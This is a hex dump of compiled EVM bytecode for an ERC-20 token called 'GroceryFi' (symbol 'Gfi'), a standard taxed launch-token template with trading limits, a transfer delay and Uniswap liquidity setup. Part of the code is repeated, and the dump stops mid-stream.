0405180910390a35b611c1c8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f1490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cbf611c738284611f1490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d628486611f1490919063ffffffff16565b604051611d6f9190612179565b60405180910390a350505050565b5f838311158290611dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbb9190612048565b60405180910390fd5b505f8385611dd29190612d72565b9050809150509392505050565b5f808303611def575f9050611e50565b5f8284611dfc919061244d565b9050828482611e0b9190612dd2565b14611e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4290612e72565b60405180910390fd5b809150505b92915050565b5f611e9783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f5d565b905092915050565b5f818311611ead5782611eaf565b815b905092915050565b5f808284611ec59190612c90565b905083811015611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0190612eda565b60405180910390fd5b8091505092915050565b5f611f5583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d7d565b905092915050565b5f8083118290611fa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9a9190612048565b60405180910390fd5b505f8385611fb19190612dd2565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611ff5578082015181840152602081019050611fda565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61201a82611fbe565b6120248185611fc8565b9350612034818560208601611fd8565b61203d81612000565b840191505092915050565b5f6020820190508181035f8301526120608184612010565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120958261206c565b9050919050565b6120a58161208b565b81146120af575f80fd5b50565b5f813590506120c08161209c565b92915050565b5f819050919050565b6120d8816120c6565b81146120e2575f80fd5b50565b5f813590506120f3816120cf565b92915050565b5f806040838503121561210f5761210e612068565b5b5f61211c858286016120b2565b925050602061212d858286016120e5565b9150509250929050565b5f8115159050919050565b61214b81612137565b82525050565b5f6020820190506121645f830184612142565b92915050565b612173816120c6565b82525050565b5f60208201905061218c5f83018461216a565b92915050565b5f805f606084860312156121a9576121a8612068565b5b5f6121b6868287016120b2565b93505060206121c7868287016120b2565b92505060406121d8868287016120e5565b9150509250925092565b5f60ff82169050919050565b6121f7816121e2565b82525050565b5f6020820190506122105f8301846121ee565b92915050565b5f6020828403121561222b5761222a612068565b5b5f612238848285016120b2565b91505092915050565b61224a8161208b565b82525050565b5f6020820190506122635f830184612241565b92915050565b5f806040838503121561227f5761227e612068565b5b5f61228c858286016120b2565b925050602061229d858286016120b2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561232957808604811115612305576123046122a7565b5b60018516156123145780820291505b8081029050612322856122d4565b94506122e9565b94509492505050565b5f8261234157600190506123fc565b8161234e575f90506123fc565b8160018114612364576002811461236e5761239d565b60019150506123fc565b60ff8411156123805761237f6122a7565b5b8360020a915084821115612397576123966122a7565b5b506123fc565b5060208310610133831016604e8410600b84101617156123d25782820a9050838111156123cd576123cc6122a7565b5b6123fc565b6123df84848460016122e0565b925090508184048111156123f6576123f56122a7565b5b81810290505b9392505050565b5f61240d826120c6565b9150612418836121e2565b92506124457fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612332565b905092915050565b5f612457826120c6565b9150612462836120c6565b9250828202612470816120c6565b91508282048414831517612487576124866122a7565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124c2602083611fc8565b91506124cd8261248e565b602082019050919050565b5f6020820190508181035f8301526124ef816124b6565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61252a601783611fc8565b9150612535826124f6565b602082019050919050565b5f6020820190508181035f8301526125578161251e565b9050919050565b5f8151905061256c8161209c565b92915050565b5f6020828403121561258757612586612068565b5b5f6125948482850161255e565b91505092915050565b5f6040820190506125b05f830185612241565b6125bd6020830184612241565b9392505050565b5f819050919050565b5f819050919050565b5f6125f06125eb6125e6846125c4565b6125cd565b6120c6565b9050919050565b612600816125d6565b82525050565b5f60c0820190506126195f830189612241565b612626602083018861216a565b61263360408301876125f7565b61264060608301866125f7565b61264d6080830185612241565b61265a60a083018461216a565b979650505050505050565b5f81519050612673816120cf565b92915050565b5f805f606084860312156126905761268f612068565b5b5f61269d86828701612665565b93505060206126ae86828701612665565b92505060406126bf86828701612665565b9150509250925092565b5f6040820190506126dc5f830185612241565b6126e9602083018461216a565b9392505050565b6126f981612137565b8114612703575f80fd5b50565b5f81519050612714816126f0565b92915050565b5f6020828403121561272f5761272e612068565b5b5f61273c84828501612706565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61279f602483611fc8565b91506127aa82612745565b604082019050919050565b5f6020820190508181035f8301526127cc81612793565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61282d602283611fc8565b9150612838826127d3565b604082019050919050565b5f6020820190508181035f83015261285a81612821565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6128ed8161208b565b82525050565b5f6128fe83836128e4565b60208301905092915050565b5f602082019050919050565b5f612920826128bb565b61292a81856128c5565b9350612935836128d5565b805f5b8381101561296557815161294c88826128f3565b97506129578361290a565b925050600181019050612938565b5085935050505092915050565b5f60a0820190506129855f83018861216a565b61299260208301876125f7565b81810360408301526129a48186612916565b90506129b36060830185612241565b6129c0608083018461216a565b9695505050505050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a24602583611fc8565b9150612a2f826129ca565b604082019050919050565b5f6020820190508181035f830152612a5181612a18565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ab2602383611fc8565b9150612abd82612a58565b604082019050919050565b5f6020820190508181035f830152612adf81612aa6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612b40602983611fc8565b9150612b4b82612ae6565b604082019050919050565b5f6020820190508181035f830152612b6d81612b34565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f612bf4604983611fc8565b9150612bff82612b74565b606082019050919050565b5f6020820190508181035f830152612c2181612be8565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c5c601983611fc8565b9150612c6782612c28565b602082019050919050565b5f6020820190508181035f830152612c8981612c50565b9050919050565b5f612c9a826120c6565b9150612ca5836120c6565b9250828201905080821115612cbd57612cbc6122a7565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cf7601a83611fc8565b9150612d0282612cc3565b602082019050919050565b5f6020820190508181035f830152612d2481612ceb565b9050919050565b5f612d35826120c6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d6757612d666122a7565b5b600182019050919050565b5f612d7c826120c6565b9150612d87836120c6565b9250828203905081811115612d9f57612d9e6122a7565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ddc826120c6565b9150612de7836120c6565b925082612df757612df6612da5565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e5c602183611fc8565b9150612e6782612e02565b604082019050919050565b5f6020820190508181035f830152612e8981612e50565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ec4601b83611fc8565b9150612ecf82612e90565b602082019050919050565b5f6020820190508181035f830152612ef181612eb8565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d846b2e34d52af10ac9ff89e9e47a2f431cb2f463cdde0ae5a7c66344035815464736f6c63430008140033
|
608060405260043610610117575f3560e01c8063715018a61161009f578063a9059cbb11610063578063a9059cbb14610368578063bf474bed146103a4578063c876d0b9146103ce578063c9567bf9146103f8578063dd62ed3e1461040e5761011e565b8063715018a6146102aa5780637d1db4a5146102c05780638da5cb5b146102ea5780638f9a55c01461031457806395d89b411461033e5761011e565b806318160ddd116100e657806318160ddd146101c857806323b872dd146101f2578063313ce5671461022e57806363daaa6b1461025857806370a082311461026e5761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f14610188578063109f09ee146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b5061013661044a565b6040516101439190612048565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d91906120f9565b610487565b60405161017f9190612151565b60405180910390f35b348015610193575f80fd5b5061019c6104a4565b6040516101a99190612179565b60405180910390f35b3480156101bd575f80fd5b506101c66104aa565b005b3480156101d3575f80fd5b506101dc610542565b6040516101e99190612179565b60405180910390f35b3480156101fd575f80fd5b5061021860048036038101906102139190612192565b610565565b6040516102259190612151565b60405180910390f35b348015610239575f80fd5b50610242610639565b60405161024f91906121fd565b60405180910390f35b348015610263575f80fd5b5061026c610641565b005b348015610279575f80fd5b50610294600480360381019061028f9190612216565b610789565b6040516102a19190612179565b60405180910390f35b3480156102b5575f80fd5b506102be6107cf565b005b3480156102cb575f80fd5b506102d461091d565b6040516102e19190612179565b60405180910390f35b3480156102f5575f80fd5b506102fe610923565b60405161030b9190612250565b60405180910390f35b34801561031f575f80fd5b5061032861094a565b6040516103359190612179565b60405180910390f35b348015610349575f80fd5b50610352610950565b60405161035f9190612048565b60405180910390f35b348015610373575f80fd5b5061038e600480360381019061038991906120f9565b61098d565b60405161039b9190612151565b60405180910390f35b3480156103af575f80fd5b506103b86109aa565b6040516103c59190612179565b60405180910390f35b3480156103d9575f80fd5b506103e26109b0565b6040516103ef9190612151565b60405180910390f35b348015610403575f80fd5b5061040c6109c2565b005b348015610419575f80fd5b50610434600480360381019061042f9190612269565b610ee1565b6040516104419190612179565b60405180910390f35b60606040518060400160405280600981526020017f47726f6365727946690000000000000000000000000000000000000000000000815250905090565b5f61049a610493610f63565b8484610f6a565b6001905092915050565b60125481565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104eb610f63565b73ffffffffffffffffffffffffffffffffffffffff161461050a575f80fd5b5f61051430610789565b90505f811115610528576105278161112d565b5b5f4790505f81111561053e5761053d81611398565b5b5050565b5f6009600a6105519190612403565b6305f5e100610560919061244d565b905090565b5f610571848484611401565b61062e8461057d610f63565b61062985604051806060016040528060288152602001612ef96028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105e0610f63565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7d9092919063ffffffff16565b610f6a565b600190509392505050565b5f6009905090565b610649610f63565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cc906124d8565b60405180910390fd5b6009600a6106e39190612403565b6305f5e1006106f2919061244d565b600f819055506009600a6107069190612403565b6305f5e100610715919061244d565b6010819055505f60065f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6107639190612403565b6305f5e100610772919061244d565b60405161077f9190612179565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107d7610f63565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906124d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600381526020017f4766690000000000000000000000000000000000000000000000000000000000815250905090565b5f6109a0610999610f63565b8484611401565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b6109ca610f63565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d906124d8565b60405180910390fd5b60148054906101000a900460ff1615610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b90612540565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b403060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b2c9190612403565b6305f5e100610b3b919061244d565b610f6a565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610baa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bce9190612572565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c54573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c789190612572565b6040518363ffffffff1660e01b8152600401610c9592919061259d565b6020604051808303815f875af1158015610cb1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cd59190612572565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d5c30610789565b5f80610d66610923565b426040518863ffffffff1660e01b8152600401610d8896959493929190612606565b60606040518083038185885af1158015610da4573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610dc99190612679565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e699291906126c9565b6020604051808303815f875af1158015610e85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea9919061271a565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcf906127b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d90612843565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111209190612179565b60405180910390a3505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561116457611163612861565b5b6040519080825280602002602001820160405280156111925781602001602082028036833780820191505090505b50905030815f815181106111a9576111a861288e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112719190612572565b816001815181106112855761128461288e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506112eb3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f6a565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161134d959493929190612972565b5f604051808303815f87803b158015611364575f80fd5b505af1158015611376573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156113fd573d5f803e3d5ffd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361146f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146690612a3a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d490612ac8565b60405180910390fd5b5f811161151f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151690612b56565b60405180910390fd5b5f611528610923565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115965750611566610923565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611acd576115d760646115c9600b54600e54116115b6576007546115ba565b6009545b85611ddf90919063ffffffff16565b611e5690919063ffffffff16565b905060065f9054906101000a900460ff161561175f5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611697575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561175e574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541061171b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171290612c0a565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611808575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561185b575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561191557600f548211156118a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189c90612c72565b60405180910390fd5b601054826118b285610789565b6118bc9190612c90565b11156118fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f490612d0d565b60405180910390fd5b600e5f81548092919061190f90612d2b565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561199d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119e1576119de60646119d0600c54600e54116119bd576008546119c1565b600a545b85611ddf90919063ffffffff16565b611e5690919063ffffffff16565b90505b5f6119eb30610789565b9050601460159054906101000a900460ff16158015611a56575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611a6e5750601460169054906101000a900460ff165b8015611a7b575060115481115b8015611a8a5750600d54600e54115b15611acb57611aac611aa784611aa284601254611e9f565b611e9f565b61112d565b5f47905066b1a2bc2ec50000811115611ac957611ac847611398565b5b505b505b5f811115611bcc57611b258160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bc39190612179565b60405180910390a35b611c1c8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f1490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cbf611c738284611f1490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d628486611f1490919063ffffffff16565b604051611d6f9190612179565b60405180910390a350505050565b5f838311158290611dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbb9190612048565b60405180910390fd5b505f8385611dd29190612d72565b9050809150509392505050565b5f808303611def575f9050611e50565b5f8284611dfc919061244d565b9050828482611e0b9190612dd2565b14611e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4290612e72565b60405180910390fd5b809150505b92915050565b5f611e9783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f5d565b905092915050565b5f818311611ead5782611eaf565b815b905092915050565b5f808284611ec59190612c90565b905083811015611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0190612eda565b60405180910390fd5b8091505092915050565b5f611f5583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d7d565b905092915050565b5f8083118290611fa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9a9190612048565b60405180910390fd5b505f8385611fb19190612dd2565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611ff5578082015181840152602081019050611fda565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61201a82611fbe565b6120248185611fc8565b9350612034818560208601611fd8565b61203d81612000565b840191505092915050565b5f6020820190508181035f8301526120608184612010565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120958261206c565b9050919050565b6120a58161208b565b81146120af575f80fd5b50565b5f813590506120c08161209c565b92915050565b5f819050919050565b6120d8816120c6565b81146120e2575f80fd5b50565b5f813590506120f3816120cf565b92915050565b5f806040838503121561210f5761210e612068565b5b5f61211c858286016120b2565b925050602061212d858286016120e5565b9150509250929050565b5f8115159050919050565b61214b81612137565b82525050565b5f6020820190506121645f830184612142565b92915050565b612173816120c6565b82525050565b5f60208201905061218c5f83018461216a565b92915050565b5f805f606084860312156121a9576121a8612068565b5b5f6121b6868287016120b2565b93505060206121c7868287016120b2565b92505060406121d8868287016120e5565b9150509250925092565b5f60ff82169050919050565b6121f7816121e2565b82525050565b5f6020820190506122105f8301846121ee565b92915050565b5f6020828403121561222b5761222a612068565b5b5f612238848285016120b2565b91505092915050565b61224a8161208b565b82525050565b5f6020820190506122635f830184612241565b92915050565b5f806040838503121561227f5761227e612068565b5b5f61228c858286016120b2565b925050602061229d858286016120b2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561232957808604811115612305576123046122a7565b5b60018516156123145780820291505b8081029050612322856122d4565b94506122e9565b94509492505050565b5f8261234157600190506123fc565b8161234e575f90506123fc565b8160018114612364576002811461236e5761239d565b60019150506123fc565b60ff8411156123805761237f6122a7565b5b8360020a915084821115612397576123966122a7565b5b506123fc565b5060208310610133831016604e8410600b84101617156123d25782820a9050838111156123cd576123cc6122a7565b5b6123fc565b6123df84848460016122e0565b925090508184048111156123f6576123f56122a7565b5b81810290505b9392505050565b5f61240d826120c6565b9150612418836121e2565b92506124457fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612332565b905092915050565b5f612457826120c6565b9150612462836120c6565b9250828202612470816120c6565b91508282048414831517612487576124866122a7565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124c2602083611fc8565b91506124cd8261248e565b602082019050919050565b5f6020820190508181035f8301526124ef816124b6565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61252a601783611fc8565b9150612535826124f6565b602082019050919050565b5f6020820190508181035f8301526125578161251e565b9050919050565b5f8151905061256c8161209c565b92915050565b5f6020828403121561258757612586612068565b5b5f6125948482850161255e565b91505092915050565b5f6040820190506125b05f830185612241565b6125bd6020830184612241565b9392505050565b5f819050919050565b5f819050919050565b5f6125f06125eb6125e6846125c4565b6125cd565b6120c6565b9050919050565b612600816125d6565b82525050565b5f60c0820190506126195f830189612241565b612626602083018861216a565b61263360408301876125f7565b61264060608301866125f7565b61264d6080830185612241565b61265a60a083018461216a565b979650505050505050565b5f81519050612673816120cf565b92915050565b5f805f606084860312156126905761268f612068565b5b5f61269d86828701612665565b93505060206126ae86828701612665565b92505060406126bf86828701612665565b9150509250925092565b5f6040820190506126dc5f830185612241565b6126e9602083018461216a565b9392505050565b6126f981612137565b8114612703575f80fd5b50565b5f81519050612714816126f0565b92915050565b5f6020828403121561272f5761272e612068565b5b5f61273c84828501612706565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61279f602483611fc8565b91506127aa82612745565b604082019050919050565b5f6020820190508181035f8301526127cc81612793565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61282d602283611fc8565b9150612838826127d3565b604082019050919050565b5f6020820190508181035f83015261285a81612821565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6128ed8161208b565b82525050565b5f6128fe83836128e4565b60208301905092915050565b5f602082019050919050565b5f612920826128bb565b61292a81856128c5565b9350612935836128d5565b805f5b8381101561296557815161294c88826128f3565b97506129578361290a565b925050600181019050612938565b5085935050505092915050565b5f60a0820190506129855f83018861216a565b61299260208301876125f7565b81810360408301526129a48186612916565b90506129b36060830185612241565b6129c0608083018461216a565b9695505050505050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a24602583611fc8565b9150612a2f826129ca565b604082019050919050565b5f6020820190508181035f830152612a5181612a18565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ab2602383611fc8565b9150612abd82612a58565b604082019050919050565b5f6020820190508181035f830152612adf81612aa6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612b40602983611fc8565b9150612b4b82612ae6565b604082019050919050565b5f6020820190508181035f830152612b6d81612b34565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f